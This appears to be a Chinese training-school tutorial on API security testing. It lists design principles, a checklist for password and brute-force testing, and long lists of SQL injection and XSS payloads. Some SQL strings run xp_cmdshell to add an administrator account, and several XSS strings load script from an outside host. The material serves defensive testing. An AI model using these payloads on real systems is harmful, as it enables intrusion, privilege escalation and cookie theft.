一、 接口測試安全場景
相信大家都曾經為黃牛票而憤憤不平吧,但你只能忍氣吞聲,畢竟懂技術的流氓更可怕,像攜程加速、飛豬加速也用過吧,這種流氓更讓人無可奈何。
其實了解了接口測試,就不再去“神話“他們“黃牛逼”。
無非就是在一定的授權范圍內,不斷的批量去請求12306的購票端口,借助自身更大的帶寬和算力去pk我們普通用戶而已,在12306出了候補后,基本就沒啥用了。
安全測試說白了就是攻與防的問題,知己知彼才能百戰百勝。
二、 接口安全設計的原則
現在前后段分離式設計,web系統、APP的接口都采用restful架構,restful最重要的一個設計原則就是客戶端與服務端的交互在請求之間是無狀態的,并采用token的認證方式,以便在多端設備進行鑒權。
1、盡量使用更安全的https協議報文
2、接口參數采用非對稱加密算法進行簽名
3、接口參數需要校驗,如表單提交使用驗證碼進行校驗
4、多次失敗后需要有鎖定機制,防止爆破
5、接口對應用戶權限,用戶只能調用有權限的接口
6、系統接口做過負荷機制用來保護系統安全
7、接口盡量少返回服務錯誤信息給用戶
三、 接口安全測試
1、sql注入
Sql注入可以算是最常見的一種攻擊手段了,作為測試人員,一定要熟悉各種sql注入的手段,在測試過程中就封堵這個風險,當然現在的很多開發框架也具備了防范sql注入的能力。
測試中,我們需要設置如下的注入案例:
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
'and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2
'and 1=1 ; 'And 1=1 ; 'aNd 1=1 ;
and 1=2 ; 'and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
and 0<>(select count(*) from admin)
2、xss攻擊
利用XSS的攻擊者進行攻擊時會向頁面插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入在頁面里的Script代碼會被執行,從而達到攻擊用戶的目的。同樣會造成用戶的認證信息被獲取,仿冒用戶登錄,造成用戶信息泄露等危害。
測試中,我們需要設置如下的xss攻擊案例:
><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(helloworld)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
<scrīpt>alert('linda is ok');</scrīpt>
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
3、用戶賬號及暴力攻擊
用戶賬號信息是訪問系統獲取服務的最關鍵的一環,如果泄露了信息就沒有任何安全可言,通過利用賬戶登錄接口大量猜測和窮舉的方式來嘗試獲取用戶口令。就是猜口令咯,攻擊者一直枚舉進行請求,通過對比數據包的長度可以很好的判斷是否爆破成功,因為爆破成功和失敗的長度是不一樣的,所以可以很好的判斷是否爆破成功。
作為測試人員,需要對賬戶信息進行如下測試:
檢測接口程序連接登錄時,是否需要輸入相應的用戶
是否設置密碼最小長度
用戶名和密碼中是否可以有空格或回車?
是否允許密碼和用戶名一致
防惡意注冊:可否用自動填表工具自動注冊用戶?
遺忘密碼處理是否有校驗碼?
密碼錯誤次數有無限制?
大小寫敏感?
口令不允許以明碼顯示在輸出設備上
強制修改的時間間隔限制(初始默認密碼)
口令的唯一性限制(看需求是否需要)
口令過期失效后,是否可以不登陸而直接瀏覽某個頁面
更多關于軟件測試培訓的問題,歡迎咨詢千鋒教育在線名師。千鋒教育擁有多年IT培訓服務經驗,采用全程面授高品質、高體驗培養模式,擁有國內一體化教學管理及學員服務,助力更多學員實現高薪夢想。